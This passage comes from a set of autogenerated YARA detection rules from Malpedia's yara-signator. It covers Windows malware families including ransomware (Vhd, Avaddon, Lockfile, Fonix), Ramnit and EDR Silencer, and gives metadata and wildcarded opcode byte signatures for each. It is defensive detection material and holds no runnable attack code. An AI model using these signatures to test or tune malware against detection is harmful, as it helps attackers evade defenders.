		$sequence_9 = { 4c8d4d40 4c8d052b630900 488d4db0 e8???????? 48897de0 488d45d0 4983fd10 }
	condition:
		7 of them and filesize < 1826816
}

rule MALPEDIA_Win_Vhd_Ransomware_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0a8c66bf-eb2b-583f-b44b-433c73c780b6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vhd_ransomware"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vhd_ransomware_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "dae74c2bc008a70be0fd9b501245d9759dea529e108a1bf96ef7d1de1daf70f9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f3ab 8b8530030000 8902 33c0 89a54cf3ffff 398530030000 7e1b }
		$sequence_1 = { e8???????? 81c44c060000 80bd7ff6ffff00 7424 8bb574f6ffff 8d8dd0fcffff }
		$sequence_2 = { 33d3 8b5df4 0fb69b98744100 0fb61c9d9b854100 33d3 8b5df8 }
		$sequence_3 = { 785b 8d74ba04 8b4e04 33c0 33db 0306 13cb }
		$sequence_4 = { 83c8ff 5d c3 6a08 68???????? e8???????? e8???????? }
		$sequence_5 = { 33c0 b9c8000000 8d7a04 f3ab 8b8dd0fcffff 890a 85c9 }
		$sequence_6 = { 8945cc bf40000000 b8???????? 8d75e0 895dc8 c745f40f000000 c745f000000000 }
		$sequence_7 = { 8bd8 899d28b4ffff 83fbff 0f8430010000 8b4510 8b4d0c 50 }
		$sequence_8 = { 398530030000 7e14 8d4a04 8bb48534030000 8931 40 83c104 }
		$sequence_9 = { 03c2 13ce 33d2 52 8b95f4efffff 52 51 }
	condition:
		7 of them and filesize < 275456
}

rule MALPEDIA_Win_Mrac_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8e787bb3-4d81-533a-b44d-f20be9e2f442"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mrac"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mrac_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "5fe94aec6f3ba68621e3ca20e2c4449488e4dd8245ed859f8a76ad9159490f6c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8bc8 e8???????? c78424780600001e000000 c684247c0600006a c684247d0600007f c684247e0600006d }
		$sequence_1 = { 8bde 83e03f c1fb06 6bc830 8b049d804b4500 894dfc 837c0118ff }
		$sequence_2 = { e8???????? 0420 8d8c2434040000 6a35 8884244f040000 e8???????? }
		$sequence_3 = { 040f 3476 888424ef040000 8b8424dc040000 0410 3463 888424f0040000 }
		$sequence_4 = { 8b4df0 8b048d804b4500 f644382848 741c 8a55ff 80fa0a 7504 }
		$sequence_5 = { e8???????? c68424c813000076 c68424c91300006d c68424ca1300007c 8d8c24c8130000 c68424cb13000028 c68424cc1300007b }
		$sequence_6 = { 8a840d6cffffff 2c0a 88840d6cffffff 41 83f909 72ea 68eeeac01f }
		$sequence_7 = { 8bf0 c645e57d c645e675 c645e74a c645e86d c645e973 c645ea7e }
		$sequence_8 = { 8d8c2458090000 88842466090000 e8???????? 3453 8d8c2454090000 6a0c 88842467090000 }
		$sequence_9 = { c68424ce0e000049 c68424cf0e000056 c68424d00e000006 c68424d10e00006b c68424d20e000075 c68424d30e000075 c68424d40e000077 }
	condition:
		7 of them and filesize < 745472
}

rule MALPEDIA_Win_Fonix_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "830a78fe-5e83-5a5d-85e3-7068b4a16c64"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fonix"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fonix_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "f38caf2a92a21c38ad3b20bd93c5f2960092d1cc56de1072c080f008b7483511"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { a801 8b04d560b74900 8b14d564b74900 7506 83c002 83ea02 5d }
		$sequence_1 = { 59 59 8b471c 89461c 8bc6 5f }
		$sequence_2 = { c645fc18 8d4dc4 8bd0 c70424???????? e8???????? 59 8d8d44fcffff }
		$sequence_3 = { 8b16 50 ff5220 e9???????? e8???????? 8b75ac 83c404 }
		$sequence_4 = { 8985a0f8ffff 0f85c5fcffff 8b8d8cf8ffff 85c9 0f84d3000000 8b048d2cdc4900 89858cf8ffff }
		$sequence_5 = { 50 8d8de0feffff e8???????? 8d8dc8feffff e8???????? 8d8db0feffff e8???????? }
		$sequence_6 = { 50 c745fc01000000 ff5248 ffb578ffffff 8d4e4c e8???????? ff7620 }
		$sequence_7 = { 83e3fe e8???????? 807d6700 0f8413010000 6a01 8d4dac e8???????? }
		$sequence_8 = { 8b45fc 0580000000 c5fe7f00 c5fe6f8560feffff c4e37d46458031 c5fe7f8580e5ffff c5fe6f8580e5ffff }
		$sequence_9 = { 0f849c050000 6a01 8d8d50020000 e8???????? 6a01 8d4d8c c645fc0c }
	condition:
		7 of them and filesize < 2226176
}

rule MALPEDIA_Win_Powershellrunner_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6a02b05b-5544-5fd8-bda1-2b73877e66ff"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powershellrunner"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powershellrunner_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "150515a586587c1b339d21af473c6cacdf2854e2b8551085b1787b23d2cc9d35"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c684243e02000036 c684243f02000014 c684244002000031 c684244102000031 }
		$sequence_1 = { 488bd3 488d0d0f440200 e8???????? 33c9 85c0 480f44cb }
		$sequence_2 = { 488d4c2450 e8???????? ba05000000 488d4c2448 e8???????? ba06000000 }
		$sequence_3 = { b872000000 6689842452010000 b872000000 6689842454010000 b865000000 6689842456010000 }
		$sequence_4 = { 8b442440 8b4c2444 03c8 8bc1 8bc8 ff15???????? 8b442424 }
		$sequence_5 = { 488d4c2428 e8???????? 89442420 837c242000 7418 }
		$sequence_6 = { 4889442428 eb1c 488b442420 4883c002 4889442420 488b442428 4883c002 }
		$sequence_7 = { 4c8b442438 488d542420 488d4c2460 e8???????? 0fb6c0 85c0 7415 }
		$sequence_8 = { 7363 488bf3 4c8d351b770100 83e63f 488beb 48c1fd06 48c1e606 }
		$sequence_9 = { 488bc8 e8???????? 4c8d442440 488bd0 488b4c2448 e8???????? 488b842490000000 }
	condition:
		7 of them and filesize < 458752
}

rule MALPEDIA_Win_Ramnit_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e7231016-af2a-574e-9bee-456d68202102"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ramnit_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "a205fea822a311ab889bb108ee1640be8e7bb55400366f3eef4a7d603b69a5db"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b7d08 b000 f2ae 8bc1 }
		$sequence_1 = { 5f 59 5a 5b c9 c20800 55 }
		$sequence_2 = { fd 8b4d10 8b7d0c 8b7508 f3a4 }
		$sequence_3 = { 3a4510 7407 b800000000 eb02 8bc7 5a }
		$sequence_4 = { ba00000000 59 5f 5e 5b c9 }
		$sequence_5 = { ff7514 ff7510 e8???????? 83f800 750b 4f 3b7d08 }
		$sequence_6 = { fc 8b4d0c 8b7d08 b000 f3aa }
		$sequence_7 = { 52 8b4508 8b5d0c 4b 23d8 83fb00 740e }
		$sequence_8 = { 8bf8 037d14 3b7df8 771f 8945fc ff7514 ff7510 }
		$sequence_9 = { 8bec 83c4f8 56 57 51 53 52 }
	condition:
		7 of them and filesize < 470016
}

rule MALPEDIA_Win_Lockfile_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ce8b9f2d-3289-5da5-8ae6-f5695e030c37"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockfile"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lockfile_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "aad82c712a5f767aa5023ac75b23ae49a83688df028acae164a8fa13e666e8c1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48f76328 498d0c00 488b4630 493bc8 4883d200 4c03e2 488955f7 }
		$sequence_1 = { 48896c2418 56 4156 4157 4883ec30 498be9 4d8bf0 }
		$sequence_2 = { c784249000000002000000 4c8bc7 488bd7 488d4c2420 e8???????? 90 4c8d4318 }
		$sequence_3 = { 4898 488d0d74280700 8b542438 ffc2 8bd2 4c8b442430 418b1490 }
		$sequence_4 = { e8???????? cc 4057 4883ec20 488b5110 }
		$sequence_5 = { 498b4348 493bc8 4883d200 4c03e2 48895587 48f76650 4c8d0401 }
		$sequence_6 = { 48f76118 4c894df0 4c8bea 488d0c03 483bcb 488b5d50 4983d500 }
		$sequence_7 = { 4433d5 41c1c802 4403d0 81c59979825a 4503d3 448bda 4533d8 }
		$sequence_8 = { 488d059fdf0700 bf04000000 48895c2450 4c8be1 8bd7 488d4c2460 6666660f1f840000000000 }
		$sequence_9 = { 418bcd 4103d4 c1c90d 448b2424 4103d0 418bc5 4403e2 }
	condition:
		7 of them and filesize < 1163264
}

rule MALPEDIA_Win_Onhat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c03e9aab-ceb3-5936-af60-a6f47c0b4822"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.onhat_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "2683ee8ac88dff088a6e9025d3b65f7d07e7b813a5d7aa89913a323bd3055d20"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c684248c00000025 c684248d00000064 c684248e00000000 ffd6 83c40c }
		$sequence_1 = { c644242956 885c242a c644242b50 c644242c4f c644242d52 }
		$sequence_2 = { c644242761 c644242874 88442429 c644241c4e c644241d6f c644241e48 }
		$sequence_3 = { 33d2 8a542432 8acf 50 51 }
		$sequence_4 = { 66ab aa 55 8d442458 6a64 50 51 }
		$sequence_5 = { 89442424 0f8404020000 8b4c2414 50 }
		$sequence_6 = { 33c0 5e 83c414 c3 8b4c240c 51 }
		$sequence_7 = { 55 8d442458 6a64 50 51 e8???????? }
		$sequence_8 = { 6689542412 e8???????? 83f8ff 7507 33c0 5e 83c410 }
		$sequence_9 = { 56 e8???????? b14f 83c408 884c2411 b020 884c241a }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Unidentified_061_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "59888b60-a3e6-5e9f-a441-429646fe0731"
		date = "2023-07-11"
		modified = "2023-07-15"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_061"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_061_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "ee3ce5b6c77f09c690f7a934c26be09c58c4fcdee70275b61c00e527d8aa097d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20230705"
		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
		malpedia_version = "20230715"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d85d4fdffff 50 e8???????? c9 }
		$sequence_1 = { 89b5f0fdffff 899decfdffff 89b5f4feffff 899df0feffff ff15???????? 8945fc }
		$sequence_2 = { 51 8365fc00 8d45fc 50 68???????? 6801000080 ff15???????? }
		$sequence_3 = { 8945f0 0fb705???????? 50 ff15???????? 668945ee }
		$sequence_4 = { 68???????? 56 ff15???????? 83c41c 8d4601 5e eb09 }
		$sequence_5 = { 7417 03f3 3bf7 7ccb eb2f 7d29 }
		$sequence_6 = { 83cfff c6457300 3b7566 7cb5 3b7566 }
		$sequence_7 = { 53 57 6a04 33ff 33db }
		$sequence_8 = { 5b c9 c20800 81ec00040000 68???????? 68???????? ff15???????? }
		$sequence_9 = { eb04 c645fb3d 6a05 8d45f8 50 ff750c c645fc00 }
	condition:
		7 of them and filesize < 360448
}

rule MALPEDIA_Win_Heloag_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8ed63d6a-bd5d-5cf3-8c24-b83f34a89c57"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heloag"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.heloag_auto.yar#L1-L168"
		license_url = "N/A"
		logic_hash = "2f5a3d733baee006935f8eba431242cec5f8a5f8274d648625719943963ee673"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c0 f3a5 8a0d???????? 8dbdadfdffff 888dacfdffff }
		$sequence_1 = { a1???????? 6889130000 68???????? 8b4810 51 e8???????? 83f8ff }
		$sequence_2 = { 3bc2 7e7f 33f6 ff15???????? 257f000080 7905 }
		$sequence_3 = { 90 90 8b45e4 b919000000 25ffff0000 99 }
		$sequence_4 = { 83c261 52 99 f7f9 8d85dcfdffff 83c261 52 }
		$sequence_5 = { 50 68???????? ff15???????? 50 ffd3 8d8dd8fcffff }
		$sequence_6 = { 99 f7f9 8b45c8 25ffff0000 }
		$sequence_7 = { 8b0d???????? 8b15???????? 8985e0faffff 66a1???????? }
		$sequence_8 = { 8b4e0c 3bcd 8b07 89442410 7464 }
		$sequence_9 = { 50 53 8bcd ff15???????? 6a00 6a00 8bcd }
		$sequence_10 = { 7505 a1???????? 894304 8b5608 895308 }
		$sequence_11 = { f2ae f7d1 49 51 56 68???????? }
		$sequence_12 = { 8b11 8bcf 52 6a00 50 }
		$sequence_13 = { ff15???????? 8a4c2413 6a00 884c244c 8d4c244c }
		$sequence_14 = { 53 68???????? 8d4c2420 ff15???????? }
		$sequence_15 = { ff15???????? 84c0 7420 8b7d04 }
	condition:
		7 of them and filesize < 401408
}

rule MALPEDIA_Win_Unidentified_041_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9647b3bf-4e79-5038-aba8-fe9b062b7eaf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_041"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_041_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "ad11b25191c5069b1a65640fe7bbe0cd58f54821b3d55fbf4025b9ccae632082"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8913 8b4dfc 8bc3 5f 5e 33cd 5b }
		$sequence_1 = { 668945be 59 668b440dbc 6603440ddc 6689440dbe 83c102 83f91e }
		$sequence_2 = { ff7508 57 53 ff15???????? 83f8ff 74c4 eb03 }
		$sequence_3 = { 5d c20800 8325????????00 c3 55 8bec 8b4508 }
		$sequence_4 = { 85ff 7428 3bf9 741c 8b75f8 8bd9 6a00 }
		$sequence_5 = { 8d4dc4 c645fc00 e8???????? 8b4dec 6a18 58 03c8 }
		$sequence_6 = { ff7508 68???????? 6a40 50 e8???????? 83c414 8d8578ffffff }
		$sequence_7 = { 57 33db 53 ff15???????? 85c0 7552 ff15???????? }
		$sequence_8 = { 72ee 81fbffffff7f 76e6 57 53 8d4dc0 e8???????? }
		$sequence_9 = { 5d c20400 6a1c b8???????? e8???????? 8bf1 33db }
	condition:
		7 of them and filesize < 1097728
}

rule MALPEDIA_Win_Edr_Silencer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "91d15ce1-a998-5572-89fb-85a860af50f1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.edr_silencer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.edr_silencer_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "36fd2a9fad325810fcce7416a9019a99b9100292037753c9fbfd0fd06391d993"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 898524030000 83bd2403000000 0f84b1000000 83bd2403000005 }
		$sequence_1 = { e8???????? 85c0 0f84b7000000 4183ee57 4189fd 6690 }
		$sequence_2 = { 488d154a7b0000 89442420 488d4c243e 480f44da 4c89e2 }
		$sequence_3 = { 4889c1 488b05???????? ffd0 b801000000 4883c450 }
		$sequence_4 = { 488b85d8010000 488b00 488b4008 4885c0 }
		$sequence_5 = { e8???????? b801000000 e9???????? e8???????? 85c0 750a b801000000 }
		$sequence_6 = { 4889c1 e8???????? 8945f8 837df800 7416 8b45f8 }
		$sequence_7 = { b900000000 e8???????? 8945f8 837df800 7416 8b45f8 }
		$sequence_8 = { 48894558 488b8518030000 488d4db0 488d5510 4989c9 }
		$sequence_9 = { 488b05???????? ffd0 89c2 488d0d5fc70000 }
	condition:
		7 of them and filesize < 744448
}

rule MALPEDIA_Win_M0Yv_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9a129bc6-2344-5ff6-a3ef-18a2b58317ac"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.m0yv"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.m0yv_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "187d793321c420f42e54cfca36e40f43e077f8b56c43ac66dc5d6006d88beffc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4589d1 41c1f919 4501c1 4589c8 41c1f81a 4501d8 8811 }
		$sequence_1 = { 4889ce e8???????? 31ff 4885db 744f 85c0 744b }
		$sequence_2 = { 7418 4180783c02 755f 418ac3 24f0 3c40 7556 }
		$sequence_3 = { 4801d8 480500000001 4803542420 4889c5 }
		$sequence_4 = { b918000000 ff10 4885c0 740b c70002000000 897008 eb02 }
		$sequence_5 = { 4d89ea 4a035cee08 4831cf 4889c1 48c1c11e 4889c6 4931fc }
		$sequence_6 = { 4889f2 e8???????? 4c89e1 4c89e2 4989d8 e8???????? 4c8d4778 }
		$sequence_7 = { 4869c2182d0700 4901c3 4c69d5d1150200 4d01fa 4869c267fb0900 }
		$sequence_8 = { 4889dd 480fafee 4889ac2488000000 4c8d3c36 480faff6 4801ce 48635810 }
		$sequence_9 = { b918000000 ff17 4885c0 7433 4889c6 c70006000000 }
	condition:
		7 of them and filesize < 779264
}

rule MALPEDIA_Win_Avaddon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0c31fafc-c10e-58b1-9fee-fb7be191e4b5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avaddon_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "157dd793c1260894e97de0f6c4ec6c5a408218110364a6a1e7630b93b4914514"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c7459408020000 837f1410 c7459810660000 c7459c20000000 7202 8b3f 0f1007 }
		$sequence_1 = { bf20000000 0f1f00 84db 7574 ff75fc 57 ff75f8 }
		$sequence_2 = { 0f4345d0 51 50 8d45e8 50 ff15???????? 837de410 }
		$sequence_3 = { 83c404 3dff000000 7607 b8ff000000 eb09 83c0ff 0f886f000000 }
		$sequence_4 = { 8b4dcc 8b45d0 030e 83c018 8b75d4 8b55c0 46 }
		$sequence_5 = { 0bc8 51 e8???????? 8bcf 83c404 47 8bf0 }
		$sequence_6 = { 8b4e08 b8ffffff07 2bca 47 c1f905 8bd1 d1ea }
		$sequence_7 = { c78524fdffff00000000 c78528fdffff0f000000 c68514fdffff00 898d2cfdffff 8a08 40 84c9 }
		$sequence_8 = { 51 8b4df0 e8???????? 83c410 83f8ff 750e 8d4510 }
		$sequence_9 = { e8???????? 83c408 33c0 c745ac00000000 6689459c 8b45e8 c745b007000000 }
	condition:
		7 of them and filesize < 2343936
}

rule MALPEDIA_Win_Metadatabin_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bab038c8-9529-5be3-bcc9-7d10f8fe61a6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.metadatabin"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.metadatabin_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "407d015151f744f5ae0365f6bb52601cc8c31860d073c726bc5069058743c3e0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d9424b8000000 e8???????? 83bc248800000005 0f848d010000 f20f108c2498000000 f20f108424a0000000 f20f10942488000000 }
		$sequence_1 = { c745e4c0834000 894dd0 8d4dc0 c745d402000000 89c2 897de8 8975ec }
		$sequence_2 = { b911000000 89df f3a5 f20f108c2474050000 f20f1094246c050000 f20f1084247c050000 f20f118c24b8030000 }
		$sequence_3 = { b001 84c9 0f859cfeffff 8b461c 6a01 68???????? ff7618 }
		$sequence_4 = { 8b470c 83780400 7421 8b5f08 83780809 7308 e8???????? }
		$sequence_5 = { ff76fc e9???????? 0fb64e2c 85c9 0f84a2000000 83f903 0f84b2000000 }
		$sequence_6 = { e8???????? 0f0b 660f1f840000000000 55 89e5 83ec08 8b4508 }
		$sequence_7 = { 8a4220 0f1002 8b4a10 8b5214 8845dc 8d45e0 0f1145bc }
		$sequence_8 = { c68424010c000000 c78424c00b00003e000000 c68424020c000000 c78424c00b00003f000000 c68424030c000000 c78424c00b000040000000 8db424c00b0000 }
		$sequence_9 = { 89de 8b9c24a0020000 135c2478 13542424 138424a0000000 03bc2430010000 135c2414 }
	condition:
		7 of them and filesize < 1263616
}

rule MALPEDIA_Win_Darkmegi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e022205f-532d-5998-8adc-7461a155f6b2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkmegi_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "186562bccca029dc0a54ad2573032322c99b928af1a23f4cf752d54c2cfd880f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33f6 6804010000 50 56 ff15???????? 8d8c2488090000 }
		$sequence_1 = { 3bd9 7cd2 8806 5f 5e 5d 5b }
		$sequence_2 = { 57 8b7c2414 57 e8???????? 8b542414 83c404 8d4c2408 }
		$sequence_3 = { 8d0440 8b8c8420010000 c6040a00 8b442410 }
